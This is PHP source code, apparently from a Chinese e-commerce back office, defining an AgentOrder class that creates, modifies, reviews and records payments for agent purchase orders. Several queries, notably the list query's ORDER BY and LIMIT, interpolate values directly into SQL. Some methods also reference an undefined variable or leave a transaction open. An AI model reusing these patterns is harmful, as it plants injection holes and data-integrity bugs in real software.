self::MEMBERORDERSTATUS_REPAIR_FAILURE, self::MEMBERORDERSTATUS_REPAIR_GOODS_SUCCESS, self::MEMBERORDERSTATUS_REPAIR_PART_GOODS_SUCCESS ); return $afterSaleOrderStatusIDList; } public static function getLogisticsCompanyName($companyID) { $map = array( '1'=>'顺丰', '2'=>'申通', '3'=>'中通', '4'=>'韵达', '5'=>'圆通', '6'=>'田田', '7'=>'京东', '8'=>'EMS' ); $companyName = $map[$companyID] ? $map[$companyID] : ""; return $companyName; } /** * 修改订单落地配门店 * @author wangyb */ public function updateLandingStoreIDByCoreOrderID($memberOrderID,$landingStoreID) { if ($landingStoreID > 0) { $update = $this->_updateMemberOrder(array('LandingStoreID' => $landingStoreID), $memberOrderID); } if ($update > 0) { return parent::successReturnData(); } else { return parent::errorReturnData('UPDATELANDINGSTOREID_IS_FAILURE','修改订单落地配门店失败'); } } } ?><file_sep> <?php /** * 代理商订单操作类 * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <[<EMAIL>]> * @version v1.0 [2016-03-08 19:29:50] * @note 错误码使用范围 1200-1300 5200-5300 */ require_once(__DIR__ . '/CoreOrder.class.php'); class AgentOrder extends CoreOrder { /** * @var resource|null db handler * @access protected */ protected $_db = null; public function __construct($db) { if ($db) { $this->_db = $db; } else { throw(new Exception('invalid_db')); } } /** * 保存代理商订单 * @access public * @param array $orderInfo * @return array $returnData */ public function saveAgentPurchaseOrder($orderInfo) { if (!is_array($orderInfo) || count($orderInfo) == 0) { return parent::errorReturnData('OrderInfo_GET_FAILED', '没有获取到订单信息'); } // 开启事务 $this->_db->query('start transaction'); // @todo !important 暂时忽略库存减少操作-极其重要的一次性事务。 // 添加到核心订单表 $coreOrderID = $this->_generateCoreOrder($orderInfo); if ($coreOrderID <= 0) { $this->_db->query('rollback'); return self::errorReturnData('CoreOrder_GENERATE_FAILED', '生成核心订单失败'); } // 添加到商品表 if ($orderInfo['goodsList']) { $goodsList = $orderInfo['goodsList']; $goodsIDList = $this->_generateGoodsList($coreOrderID, $goodsList); if ($goodsIDList === false || (is_array($goodsIDList) && count($goodsIDList) == 0) ) { $this->_db->query('rollback'); return self::errorReturnData('Goods_ADD_FAILED', '添加商品失败'); } } // 添加到 AgentPurchaseOrder 表之中。 $agentPurchaseOrderID = $this->_addAgentPurchaseOrder($orderInfo, $coreOrderID); if (!$agentPurchaseOrderID) { $this->_db->query('rollback'); return parent::errorReturnData(5200,'订单生成失败','添加到代理商订单表中时出错'); } // 回写到 CoreOrder表之中 $writeBackResult = parent::bindCoreOrderWithOtherOrder($coreOrderID, 'AgentPurchaseOrder', $agentPurchaseOrderID); if ($writeBackResult == false) { $this->_db->query('rollback'); return parent::errorReturnData(5201,'订单生成失败','回写到核心订单表中时出错'); } $successData = array( 'AgentPurchaseOrderID'=>$agentPurchaseOrderID, 'CoreOrderID'=>$coreOrderInfo['data']['CoreOrderID'] ); $this->_db->query('commit'); $returnData = parent::successReturnData($successData); return $returnData; } /** * 生成代理商购买订单 (代理商)。 * @param [type] $orderInfo [description] * @return [type] [description] */ public function generateAgentPurchaseOrderForAgent($orderInfo) { if (!is_array($orderInfo) || count($orderInfo) == 0) { return parent::errorReturnData(1200, '没有获取到订单信息'); } // 开启事务 $this->_db->query('start transaction'); // @todo !important 暂时忽略库存减少操作-极其重要的一次性事务。 $coreOrderInfo = parent::generateOrder($orderInfo); if ($coreOrderInfo['status'] === 'success') { $coreOrderID = $coreOrderInfo['data']['CoreOrderID']; // 添加到 AgentPurchaseOrder 表之中。 $agentPurchaseOrderID = $this->_addAgentPurchaseOrder($orderInfo, $coreOrderID); if (!$agentPurchaseOrderID) { $this->_db->query('rollback'); return parent::errorReturnData(5200,'订单生成失败','添加到代理商订单表中时出错'); } // 回写到 CoreOrder表之中 $writeBackResult = parent::bindCoreOrderWithOtherOrder($coreOrderID, 'AgentPurchaseOrder', $agentPurchaseOrderID); if ($writeBackResult == false) { $this->_db->query('rollback'); return parent::errorReturnData(5201,'订单生成失败','回写到核心订单表中时出错'); } $successData = array( 'AgentPurchaseOrderID'=>$agentPurchaseOrderID, 'CoreOrderID'=>$coreOrderInfo['data']['CoreOrderID'] ); $this->_db->query('commit'); $returnData = parent::successReturnData($successData); } else { $returnData = $coreOrderInfo; $this->_db->query('rollback'); } return $returnData; } /** * 生成代理商购买订单 (加盟商)。 * @param [type] $orderInfo [description] * @return [type] [description] */ public function generateAgentPurchaseOrderForStore($orderInfo) { if (!is_array($orderInfo) || count($orderInfo) == 0) { return parent::errorReturnData(1200, '没有获取到订单信息'); } // 开启事务 $this->_db->query('start transaction'); // @todo !important 暂时忽略库存减少操作-极其重要的一次性事务。 $coreOrderInfo = parent::generateOrder($orderInfo); if ($coreOrderInfo['status'] === 'success') { $coreOrderID = $coreOrderInfo['data']['CoreOrderID']; // 添加到 AgentPurchaseOrder 表之中。 $agentPurchaseOrderID = $this->_addAgentPurchaseOrder($orderInfo, $coreOrderID); if (!$agentPurchaseOrderID) { $this->_db->query('rollback'); return parent::errorReturnData(5200,'订单生成失败','添加到代理商订单表中时出错'); } // 回写到 CoreOrder表之中 $writeBackResult = parent::bindCoreOrderWithOtherOrder($coreOrderID, 'AgentPurchaseOrder', $agentPurchaseOrderID); if ($writeBackResult == false) { $this->_db->query('rollback'); return parent::errorReturnData(5201,'订单生成失败','回写到核心订单表中时出错'); } /*// 添加初审记录 $adminID = 0; $verifyResult['AgentPurchaseOrderID'] = $agentPurchaseOrderID; $verifyResult['VerifyTypeID'] = parent::AGENTORDER_VERIFYTYPE_VERIFY; $verifyResult['ResultID'] = parent::AGENTORDER_VERIFYRESULT_AGREE; $verifyResult = $this->_addPurchaseVerifyResult($adminID, $verifyResult); if (!$verifyResult) { $this->_db->query('rollback'); return parent::errorReturnData('ADD_PURCHASE_VERIFY_FAIL','操作[添加审核记录]失败'); }*/ // 更改采购订单状态 /*$result = $this->_changeAgentPurchaseOrderStatus($agentPurchaseOrderID, parent::AGENTORDERSTATUS_UNVERIFY, parent::AGENTORDERSTATUS_UNPAY); if (!$result) { $this->_db->query('rollback'); return parent::errorReturnData('HANLEORDER_REFUSE_SUCCESS_FAILURE','操作[通过订单审核]失败'); }*/ $successData = array( 'AgentPurchaseOrderID'=>$agentPurchaseOrderID, 'CoreOrderID'=>$coreOrderInfo['data']['CoreOrderID'] ); $this->_db->query('commit'); $returnData = parent::successReturnData($successData); } else { $returnData = $coreOrderInfo; $this->_db->query('rollback'); } return $returnData; } /** * 添加到代理商订单表中。 * @param [type] $orderInfo [description] */ private function _addAgentPurchaseOrder(& $orderInfo, $coreOrderID) { $agentOrder['CoreOrderID'] = $coreOrderID; $agentOrder['AgentTypeID'] = (int)$orderInfo['AgentTypeID']; $agentOrder['AgentID'] = (int)$orderInfo['AgentID']; $agentOrder['HandlerID'] = (int)$orderInfo['HandlerID']; $agentOrder['HandlerTypeID'] = (int)$orderInfo['HandlerTypeID']; $agentOrder['TotalAmount'] = (float)$orderInfo['TotalAmount']; $agentOrder['RealTotalAmount'] = CORE::superSub($orderInfo['TotalAmount'], (float)$orderInfo['DisaccountAmount']); $agentOrder['ActivityID'] = (int)$orderInfo['ActivityID']; $agentOrder['DisaccountAmount'] = (float)$orderInfo['DisaccountAmount']; $agentOrder['ReceiverName'] = $orderInfo['ReceiverName']; $agentOrder['ReceiverMobile'] = $orderInfo['ReceiverMobile']; $agentOrder['ReceiverProvinceID'] = (int)$orderInfo['ReceiverProvinceID']; $agentOrder['ReceiverCityID'] = (int)$orderInfo['ReceiverCityID']; $agentOrder['ReceiverAreaID'] = (int)$orderInfo['ReceiverAreaID']; $agentOrder['ReceiverAddress'] = $orderInfo['ReceiverAddress']; $agentOrder['AgentPurchaseOrderStatusID'] = (int)$orderInfo['AgentPurchaseOrderStatusID']; $agentOrder['OperatorID'] = (int)$orderInfo['OperatorID']; $agentOrder['OperatorSourceID'] = (int)$orderInfo['OperatorSourceID']; $agentOrder['OperatorSourceTypeID'] = (int)$orderInfo['OperatorSourceTypeID']; $agentOrder['IsReplenishOrder'] = (int)$orderInfo['IsReplenishOrder']; $agentOrder['AddTime'] = date('Y-m-d H:i:s'); $agentPurchaseOrderID = $this->_db->saveFromArray('AgentPurchaseOrder', $agentOrder); unset($agentOrder); return $agentPurchaseOrderID; } /** * 修改代理商订单 * @access public * @param array $orderInfo * @return array $returnData */ public function modifyAgentPurchaseOrder($orderInfo) { if (!is_array($orderInfo) || count($orderInfo) == 0) { return parent::errorReturnData('ORDERINFO_IS_NULL', '没有获取到订单信息'); } // @todo !important 暂时忽略库存减少操作-极其重要的一次性事务。 // 验证采购订单ID是否存在 $agentPurchaseOrderID = (int)$orderInfo['AgentPurchaseOrderID']; if ($agentPurchaseOrderID <= 0) { return parent::errorReturnData('AGENTPURCHASEORDERID_IS_NULL', '没有获取到采购订单ID'); } // 开启事务 $this->_db->query('start transaction'); // 获取核心订单 $coreOrderID = parent::getCoreOrderIDByOther('AgentPurchaseOrder', $agentPurchaseOrderID); if ($coreOrderID <= 0) { $this->_db->query('rollback'); return parent::errorReturnData('CoreOrderID_IS_FAILED', '获取核心订单编码失败'); } // 删除商品表中的记录 /*$withdrawOrderGoodsResult = parent::withdrawOrderGoods($coreOrderID); if ($withdrawOrderGoodsResult != 'success') { $this->_db->query('rollback'); return parent::errorReturnData('WITHDRAWORDERGOODS_IS_FAILED', '删除商品表原有记录失败'); }*/ // 添加到商品表 if ($orderInfo['goodsList']) { $goodsList = $orderInfo['goodsList']; $goodsIDList = $this->_generateGoodsList($coreOrderID, $goodsList); if ($goodsIDList === false || (is_array($goodsIDList) && count($goodsIDList) == 0) ) { return self::errorReturnData(5000, '生成订单失败', '生成订单时添加商品失败'); } } // 修改 AgentPurchaseOrder 表之中。 $agentPurchaseOrderID = $this->_modifyAgentPurchaseOrder($orderInfo); if (!$agentPurchaseOrderID) { $this->_db->query('rollback'); return parent::errorReturnData(5200,'订单生成失败','添加到代理商订单表中时出错'); } $successData = array( 'AgentPurchaseOrderID'=>$agentPurchaseOrderID, 'CoreOrderID'=>$coreOrderInfo['data']['CoreOrderID'] ); $this->_db->query('commit'); $returnData = parent::successReturnData($successData); return $returnData; } /** * 完善代理商购买信息 * completeAgentPurchaseOrder * @access public * @param array $orderInfo * @return array $returnData */ public function completeAgentPurchaseOrder($orderInfo) { if (!is_array($orderInfo) || count($orderInfo) == 0) { return parent::errorReturnData('ORDERINFO_IS_NULL', '没有获取到订单信息'); } // @todo !important 暂时忽略库存减少操作-极其重要的一次性事务。 // 验证采购订单ID是否存在 $agentPurchaseOrderID = (int)$orderInfo['AgentPurchaseOrderID']; if ($agentPurchaseOrderID <= 0) { return parent::errorReturnData('AGENTPURCHASEORDERID_IS_NULL', '没有获取到采购订单ID'); } // 开启事务 $this->_db->query('start transaction'); // 获取核心订单 $coreOrderID = parent::getCoreOrderIDByOther('AgentPurchaseOrder', $agentPurchaseOrderID); if ($coreOrderID <= 0) { $this->_db->query('rollback'); return parent::errorReturnData('CoreOrderID_IS_FAILED', '获取核心订单编码失败'); } // 删除商品表中的记录 /*$withdrawOrderGoodsResult = parent::withdrawOrderGoods($coreOrderID); if ($withdrawOrderGoodsResult != 'success') { $this->_db->query('rollback'); return parent::errorReturnData('WITHDRAWORDERGOODS_IS_FAILED', '删除商品表原有记录失败'); }*/ // 添加到商品表 if ($orderInfo['goodsList']) { $goodsList = $orderInfo['goodsList']; $goodsIDList = $this->_generateGoodsList($coreOrderID, $goodsList); if ($goodsIDList === false || (is_array($goodsIDList) && count($goodsIDList) == 0) ) { $this->_db->query('rollback'); return self::errorReturnData(5000, '生成订单失败', '生成订单时添加商品失败'); } } // 修改 AgentPurchaseOrder 表之中。 $agentPurchaseOrderID = $this->_modifyAgentPurchaseOrder($orderInfo); if (!$agentPurchaseOrderID) { $this->_db->query('rollback'); return parent::errorReturnData(5200,'订单生成失败','添加到代理商订单表中时出错'); } // 修改订单状态 $oldTargetStatus = parent::AGENTORDERSTATUS_SAVE; $targetStatus = parent::AGENTORDERSTATUS_UNVERIFY; $changeResult = $this->_changeAgentPurchaseOrderStatus($agentPurchaseOrderID, $oldTargetStatus, $targetStatus); if (!$changeResult) { $this->_db->query('rollback'); return parent::errorReturnData('CHANGEAGENTORDERSTATUS_IS_FAILED', '修改采购单状态失败'); } $successData = array( 'AgentPurchaseOrderID'=>$agentPurchaseOrderID, 'CoreOrderID'=>$coreOrderInfo['data']['CoreOrderID'] ); $this->_db->query('commit'); $returnData = parent::successReturnData($successData); return $returnData; } /** * 修改采购单数据 * @access private * @param array $orderInfo * @return int $agentPurchaseOrderID */ private function _modifyAgentPurchaseOrder($orderInfo) { $agentOrder['AgentPurchaseOrderID'] = (int)$orderInfo['AgentPurchaseOrderID']; $agentOrder['AgentTypeID'] = (int)$orderInfo['AgentTypeID']; $agentOrder['AgentID'] = (int)$orderInfo['AgentID']; $agentOrder['HandlerID'] = (int)$orderInfo['HandlerID']; $agentOrder['HandlerTypeID'] = (int)$orderInfo['HandlerTypeID']; $agentOrder['TotalAmount'] = (float)$orderInfo['TotalAmount']; $agentOrder['RealTotalAmount'] = CORE::superSub($orderInfo['TotalAmount'], (float)$orderInfo['DisaccountAmount']); $agentOrder['ActivityID'] = (int)$orderInfo['ActivityID']; $agentOrder['DisaccountAmount'] = (float)$orderInfo['DisaccountAmount']; $agentOrder['ReceiverName'] = $orderInfo['ReceiverName']; $agentOrder['ReceiverMobile'] = $orderInfo['ReceiverMobile']; $agentOrder['ReceiverProvinceID'] = (int)$orderInfo['ReceiverProvinceID']; $agentOrder['ReceiverCityID'] = (int)$orderInfo['ReceiverCityID']; $agentOrder['ReceiverAreaID'] = (int)$orderInfo['ReceiverAreaID']; $agentOrder['ReceiverAddress'] = $orderInfo['ReceiverAddress']; $agentPurchaseOrderID = $this->_db->saveFromArray('AgentPurchaseOrder', $agentOrder); unset($agentOrder); return $agentPurchaseOrderID; } /* 采购单订单初审核-通过 */ public function verifyOrderToSuccess($agentPurchaseOrderID, $verifyResult, $warehouseID) { // 添加审核记录 $adminID = $verifyResult['AdminID']; $verifyResult['AgentPurchaseOrderID'] = $agentPurchaseOrderID; $verifyResult['VerifyTypeID'] = parent::AGENTORDER_VERIFYTYPE_VERIFY; $verifyResult['ResultID'] = parent::AGENTORDER_VERIFYRESULT_AGREE; $verifyResult = $this->_addPurchaseVerifyResult($adminID, $verifyResult); if (!$verifyResult) { return parent::errorReturnData('ADD_PURCHASE_VERIFY_FAIL','操作[添加审核记录]失败'); } $result = $this->_changeWarehouseID($agentPurchaseOrderID, $warehouseID); if (!$result) { return parent::errorReturnData('WarehouseID_MODIFY_FAILED', '发货仓库修改失败'); } // 更改采购订单状态 $result = $this->_changeAgentPurchaseOrderStatus($agentPurchaseOrderID, parent::AGENTORDERSTATUS_UNVERIFY, parent::AGENTORDERSTATUS_UNPAY); if ($result === true) { return parent::successReturnData(); } else { return parent::errorReturnData('HANLEORDER_REFUSE_SUCCESS_FAILURE','操作[通过订单审核]失败'); } } /* 采购单订单初审-驳回 */ public function verifyOrderToFailure($agentPurchaseOrderID,$verifyResult) { // 添加审核记录 $adminID = $verifyResult['AdminID']; $verifyResult['AgentPurchaseOrderID'] = $agentPurchaseOrderID; $verifyResult['VerifyTypeID'] = parent::AGENTORDER_VERIFYTYPE_VERIFY; $verifyResult['ResultID'] = parent::AGENTORDER_VERIFYRESULT_REFUSE; $verifyResult = $this->_addPurchaseVerifyResult($adminID, $verifyResult); if (!$verifyResult) { return parent::errorReturnData('ADD_PURCHASE_VERIFY_FAIL','操作[添加审核记录]失败'); } $result = $this->_changeAgentPurchaseOrderStatus($agentPurchaseOrderID, parent::AGENTORDERSTATUS_UNVERIFY, parent::AGENTORDERSTATUS_VERIFY_FAILURE); if ($result === true) { return parent::successReturnData(); } else { return parent::errorReturnData('HANLEORDER_REFUSE_FAILURE','操作[驳回订单审核]失败'); } } /** * 采购单付款 * @param int $agentPurchaseOrderID * @param string $voucherPath * @param int $adminID * @param dateTime $addTime * @return array */ public function addAgentPurchaseOrderPayRecord($agentPurchaseOrderID, $orderInfo, $orderPayList) { $now = date('Y-m-d H:i:s'); // 开启事务 $this->_db->query('start transaction'); foreach ($orderPayList as $itemKey => $itemVal) { if ((int)$itemVal['AgentPurchaseOrderPayRecordID'] == 0) { $agentPurchaseOrderPayRecord = $itemVal; $agentPurchaseOrderPayRecord['AgentPurchaseOrderID'] = $agentPurchaseOrderID; /* 添加付款记录 */ $agentPurchaseOrderPayRecordID = $this->_addAgentPurchaseOrderPayRecord($agentPurchaseOrderPayRecord); if ($agentPurchaseOrderPayRecordID <= 0) { $this->_db->query('rollback'); return parent::errorReturnData('AgentPurchaseOrderPayRecord_ADD_FAILED','付款记录添加失败'); } } } $agentPurchaseOrderDetail = $this->getAgentPurchaseOrderDetail($agentPurchaseOrderID); /* 修改订单 */ $totalAmount = $agentPurchaseOrderDetail['TotalAmount']; $scorePayAmount = $orderInfo['ScorePayAmount']; $preDepositPayAmount = $orderInfo['PreDepositPayAmount']; $disaccountAmount = $agentPurchaseOrderDetail['DisaccountAmount']; $realTotalAmount = CORE::superSub($totalAmount, $scorePayAmount, $preDepositPayAmount, $disaccountAmount); $result = $this->_modifyRealTotalAmount( $agentPurchaseOrderID, $realTotalAmount, $scorePayAmount, $preDepositPayAmount); if (!$result) { return parent::errorReturnData('RealTotalAmount_ADD_FAILED','订单实际需付金额修改失败'); } $resultID = parent::AGENTORDER_VERIFYRESULT_REFUSE; $reviewCount = $this->getAgentPurchaseOrderReviewCount($agentPurchaseOrderID, $resultID); /* 修改采购单状态 */ if ($reviewCount > 0) { $oldTargetStatus = parent::AGENTORDERSTATUS_REVIEW_FAILURE; $targetStatus = parent::AGENTORDERSTATUS_PAYOFF; } else { $oldTargetStatus = parent::AGENTORDERSTATUS_UNPAY; $targetStatus = parent::AGENTORDERSTATUS_PAYOFF; } $changeResult = $this->_changeAgentPurchaseOrderStatus($agentPurchaseOrderID, $oldTargetStatus, $targetStatus); if (!$changeResult) { $this->_db->query('rollback'); return parent::errorReturnData('CHANGEAGENTORDERSTATUS_IS_FAILED', '修改采购单状态失败'); } /* 返回结果 */ $successData = array( 'AgentPurchaseOrderID'=>$agentPurchaseOrderID ); $this->_db->query('commit'); $returnData = parent::successReturnData($successData); return $returnData; } /** * 修改采购单已收金额 * @param int $agentPurchaseOrderID * @param float $payAmount * @return true|false $boolean */ private function _modifyPayAmount($agentPurchaseOrderID, $payAmount) { $boolean = false; if ((int)$agentPurchaseOrderID <= 0) { return $boolean; } $sql = "UPDATE AgentPurchaseOrder SET PayAmount = {$payAmount} WHERE AgentPurchaseOrderID = {$agentPurchaseOrderID}"; $result = $this->_db->query($sql); $affectedRows = $this->_db->affectedRows(); if ($result && ($affectedRows == 1)) { $boolean = true; } return $boolean; } /** * 修改订单实际需付金额 * @param int $agentPurchaseOrderID * @param float $realTotalAmount * @param float $scorePayAmount * @param float $preDepositPayAmount * @return true|false $boolean */ private function _modifyRealTotalAmount( $agentPurchaseOrderID, $realTotalAmount, $scorePayAmount, $preDepositPayAmount) { $boolean = false; $sql = "UPDATE AgentPurchaseOrder SET RealTotalAmount = {$realTotalAmount}, ScorePayAmount = {$scorePayAmount}, PreDepositPayAmount = {$preDepositPayAmount} WHERE AgentPurchaseOrderID = {$agentPurchaseOrderID}"; $result = $this->_db->query($sql); if ($result) { $boolean = true; } return $boolean; } /** * 添加付款记录 * @param array $agentPurchaseOrderPayRecord * @return int $agentPurchaseOrderPayRecordID */ private function _addAgentPurchaseOrderPayRecord($agentPurchaseOrderPayRecord) { $agentPurchaseOrderPayRecordID = 0; $agentPurchaseOrderPayRecord['AgentPurchaseOrderPayRecordStatusID'] = self::AGENTPURCHASEORDERPAY_STATUS_NOMAL; $agentPurchaseOrderPayRecordID = $this->_db->saveFromArray('AgentPurchaseOrderPayRecord', $agentPurchaseOrderPayRecord); return $agentPurchaseOrderPayRecordID; } /** * 软删除付款凭证 * @param int $agentPurchaseOrderPayRecordID * @return true|false $boolean */ public function softDeletePurchaseOrderPayRecord($agentPurchaseOrderPayRecordID) { $boolean = false; $agentPurchaseOrderPayRecordStatusID = self::AGENTPURCHASEORDERPAY_STATUS_DELETE; $sql = "UPDATE AgentPurchaseOrderPayRecord SET AgentPurchaseOrderPayRecordStatusID = {$agentPurchaseOrderPayRecordStatusID} WHERE AgentPurchaseOrderPayRecordID = {$agentPurchaseOrderPayRecordID}"; $result = $this->_db->query($sql); $affectedRows = $this->_db->affectedRows(); if ($result && $affectedRows == 1) { $boolean = true; } return $boolean; } /** * 采购单复审成功 * reviewOrderToSuccess * * @param int $agentPurchaseOrderID 采购单ID * @param array $verifyResult 复审信息 * @return array */ public function reviewOrderToSuccess($agentPurchaseOrderID, $verifyResult) { // 添加审核记录 $adminID = $verifyResult['AdminID']; $verifyResult['AgentPurchaseOrderID'] = $agentPurchaseOrderID; $verifyResult['ResultID'] = parent::AGENTORDER_VERIFYRESULT_AGREE; // 获取核心订单 $coreOrderID = parent::getCoreOrderIDByOther('AgentPurchaseOrder', $agentPurchaseOrderID); if ($coreOrderID <= 0) { $this->_db->query('rollback'); return parent::errorReturnData('CoreOrderID_IS_FAILED', '获取核心订单编码失败'); } $this->_db->query('start transaction'); $agentPurchaseOrderReviewRecordID = $this->_addPurchaseReviewResult($adminID, $verifyResult); if ($agentPurchaseOrderReviewRecordID <= 0) { $this->_db->query('rollback'); return parent::errorReturnData('ADD_PURCHASE_VERIFY_FAIL','操作[添加审核记录]失败'); } $attachmentPathList = $verifyResult['AttachmentPathList']; foreach ($attachmentPathList as $itemKey => $itemVal) { $attachmentData['AttachmentPath'] = $itemVal; $attachmentData['Title'] = '复审成功上传收款凭证'; $attachmentData['AttachmentTypeID'] = parent::ATTACHMENT_TYPE_IMAGE; $attachmentData['SourceTypeID'] = parent::ATTACHMENTSOURCE_PURCHASEORDER_REVIEW; $attachmentData['SourceID'] = $agentPurchaseOrderReviewRecordID; $attachmentID = $this->_addAttachment($attachmentData); if ($attachmentID <= 0) { $this->_db->query('rollback'); return parent::errorReturnData('Attachment_ADD_FAILED', '收款凭证上传失败'); } } /* 获取采购单金额 */ $agentPurchaseOrderDetail = $this->getAgentPurchaseOrderDetail($agentPurchaseOrderID); $realTotalAmount = $agentPurchaseOrderDetail['RealTotalAmount']; $payAmount = $realTotalAmount; /* 修改已付款金额 */ $modifyPayAmountResult = $this->_modifyPayAmount($agentPurchaseOrderID, $payAmount); if (!$modifyPayAmountResult) { $this->_db->query('rollback'); return parent::errorReturnData('ModifyPayAmount_IS_FAILED', '修改已付款金额失败'); } $oldTargetStatus = parent::AGENTORDERSTATUS_PAYOFF; $targetStatus = parent::AGENTORDERSTATUS_REVIEW_SUCCESS; $changeResult = $this->_changeAgentPurchaseOrderStatus($agentPurchaseOrderID, $oldTargetStatus, $targetStatus); if ($changeResult === true) { $this->_db->query('commit'); $data = array('CoreOrderID' => $coreOrderID); return parent::successReturnData($data); } else { $this->_db->query('rollback'); return parent::errorReturnData('HANLEORDER_REFUSE_FAILURE','操作[提交订单复审]失败'); } } /** * 添加附件信息 * @param array $attachmentData * @return int $attachmentID */ private function _addAttachment($attachmentData) { $attachmentID = 0; $attachmentData['AddTime'] = date('Y-m-d H:i:s'); $attachmentData['AttachmentStatusID'] = parent::ATTACHMENT_STATUS_NOMAL; $attachmentID = $this->_db->saveFromArray('Attachment', $attachmentData); return $attachmentID; } /** * 采购单复审失败 * reviewOrderToFailure * * @param int $agentPurchaseOrderID 采购单ID * @param array $verifyResult 复审信息 * @return array */ public function reviewOrderToFailure($agentPurchaseOrderID, $verifyResult) { // 添加审核记录 $adminID = $verifyResult['AdminID']; $verifyResult['AgentPurchaseOrderID'] = $agentPurchaseOrderID; $verifyResult['ResultID'] = parent::AGENTORDER_VERIFYRESULT_REFUSE; // 获取核心订单 $coreOrderID = parent::getCoreOrderIDByOther('AgentPurchaseOrder', $agentPurchaseOrderID); if ($coreOrderID <= 0) { return parent::errorReturnData('CoreOrderID_IS_FAILED', '获取核心订单编码失败'); } // 开启事务 $this->_db->query('start transaction'); /* 添加复审审核记录 */ $agentPurchaseOrderReviewRecordID = $this->_addPurchaseReviewResult($adminID, $verifyResult); if ($agentPurchaseOrderReviewRecordID <= 0) { $this->_db->query('rollback'); return parent::errorReturnData('ADD_PURCHASE_VERIFY_FAIL','操作[添加审核记录]失败'); } /* 修改采购单状态 */ $oldTargetStatus = parent::AGENTORDERSTATUS_PAYOFF; $targetStatus = parent::AGENTORDERSTATUS_REVIEW_FAILURE; $changeResult = $this->_changeAgentPurchaseOrderStatus($agentPurchaseOrderID, $oldTargetStatus, $targetStatus); if (!$changeResult) { $this->_db->query('rollback'); return parent::errorReturnData('CHANGEAGENTORDERSTATUS_IS_FAILED', '修改采购单状态失败'); } $this->_db->query('commit'); $data = array('CoreOrderID' => $coreOrderID); return parent::successReturnData($data); } /*************** 操作订单到各种状态 ****************/ /************ 以下为所有 AgentPurchaseOrder 表的相关操作 *************/ /** * 获得用户订单数量,支持各种状态搜索 * @param array $pager [description] * @param array $condition array( * 'AgentID'=>array('type'=>'int','operator'=>'eq','value'=>null) * 'AgentPurchaseOrderStatusID'=>('type'=>'int','operator'=>'in','value'=>null) * ) * @param array $sort [description] * @return [type] [description] */ public function getAgentPurchaseOrderCount($condition = array()) { if (is_array($condition) && count($condition) > 0 ) { $where = $this->_generateAgentPurchaseOrderWhereCondition($condition); } $sql = "select count(*) as Count from AgentPurchaseOrder {$where}"; $result = $this->_db->getToArray($sql); $count = $result['Count']; return $count; } /** * 获得用户订单列表,支持各种状态搜索 * @param array $pager [description] * @param array $condition [description] * @param array $sort [description] * @return [type] [description] */ public function getAgentPurchaseOrderList($pager = array(), $condition = array(), $sort = array()) { if (is_array($pager) && isset($pager['first']) && isset($pager['limit'])) { $limit = " limit {$pager['first']},{$pager['limit']}"; } else { $limit = " limit 0,10"; } if (is_array($condition) && count($condition) > 0 ) { $where = $this->_generateAgentPurchaseOrderWhereCondition($condition); } if (is_array($sort) && isset($sort['sortKey']) && isset($sort['sortValue'])) { $orderBy = " order by {$sort['sortKey']} {$sort['sortValue']}"; } else { $orderBy = " order by AgentPurchaseOrderID desc"; } $sql = "select * from AgentPurchaseOrder {$where} {$orderBy} {$limit}"; $result = $this->_db->loadToArray($sql); return $result; } /** * 获取订单详情,仅获取订单信息,不包含货物信息。 * @param [type] $agentOrderID [description] * @return [type] [description] */ public function getAgentPurchaseOrderDetail($agentPurchaseOrderID) { if (!$agentPurchaseOrderID) { return false; } $sql = "select * from AgentPurchaseOrder where AgentPurchaseOrderID={$agentPurchaseOrderID}"; $agentPurchaseOrderDetail = $this->_db->getToArray($sql); return $agentPurchaseOrderDetail; } /** * * @param [type] $agentOrderID [description] * @return [type] [description] */ public function getAgentOrderGoodsDetail( $agentPurchaseOrderID, $isShowAttribute = false, $isShowSpecification = false) { if (!$agentPurchaseOrderID) { return false; } $coreOrderID = $this->_getCoreOrderIDByAgentPurchaseOrderID($agentPurchaseOrderID); if (!$coreOrderID) { return false; } $goodsList = parent::getOrderGoodsDetail($coreOrderID); if (is_array($goodsList) && count($goodsList) > 0) { foreach ($goodsList as $goodsKey => $goodsVal) { $coreOrderGoodsIDList[] = $goodsVal['CoreOrderGoodsID']; } } if ($isShowAttribute) { $goodsAttrList = parent::getOrderGoodsAttr($coreOrderGoodsIDList); foreach ($goodsAttrList as $goodsAttrKey => $goodsAttrVal) { if (array_key_exists($goodsAttrVal['CoreOrderGoodsID'], $goodsList)) { $goodsList[$goodsAttrVal['CoreOrderGoodsID']]['Attribute'][] = $goodsAttrVal; } } } if ($isShowSpecification) { $goodsSpecList = parent::getOrderGoodsSpec($coreOrderGoodsIDList); foreach ($goodsSpecList as $goodsSpecKey => $goodsSpecVal) { if (array_key_exists($goodsSpecVal['CoreOrderGoodsID'], $goodsList)) { $goodsList[$goodsSpecVal['CoreOrderGoodsID']]['Specification'][] = $goodsSpecVal; } } } return $goodsList; } /** * 根据退货订单获取到他对应的原始订单ID * @return [type] [description] */ public function getAgentOrderIDListByReturn($agentReturnOrderIDList) { $inString = '(' . implode(',', $agentReturnOrderIDList) . ')'; $result = $this->_getAgentOrderListByOther('AgentReturnOrder', $agentReturnOrderIDList); return $result; } /** * 生成撤店退货单 */ public function generateAgentReturnOrder() { } /********** 一些公共操作方法 *************/ /** * 获取状态ID对应的名称。 * @param [type] $orderStatusID [description] * @return [type] [description] */ public function getAgentOrderStatusNameByOrderStatusID($orderStatusID) { if (!$orderStatusID) { return false; } $statusName = parent::getOrderStatusNameByOrderStatusID('AgentPurchaseOrder' , $orderStatusID); return $statusName; } public function getMemberPayTypeNameByPayTypeID($payTypeID) { if (!$payTypeID) { return false; } $payTypeName = parent::getPayTypeNameByPayTypeID('AgentOrder',$payTypeID); return $payTypeName; } /** * 获得简要数据 * @param [type] $memberOrderID [description] * @return [type] [description] */ public function getSimpleData($memberOrderID) { $sql = "select AgentOrderID, PayTypeID, PayAmount, AddTime from AgentOrder where AgentOrderID = {$memberOrderID}"; $simpleData = $this->_db->getToArray($sql); return $simpleData; } /** * 获得某个用户的来自订单的积分消耗记录,订单状态是从待付款到签收成功后的状态,甚至包括申请退换货的。 * @return [type] [description] */ public function getAgentOrderScoreInfo($memberOrderIDList) { if (!is_array($memberOrderIDList) || count($memberOrderIDList) == 0) { return false; } $memberOrderIDListStr = '(' . implode(',', $memberOrderIDList) . ')'; $consumeScoreStatus = $this->_getScoreConsumeStatus(); $statusStr = '(' . implode(',',$consumeScoreStatus) . ')'; $where = " where ScoreCount > 0 and AgentOrderID in {$memberOrderIDListStr} and AgentPurchaseOrderStatusID in 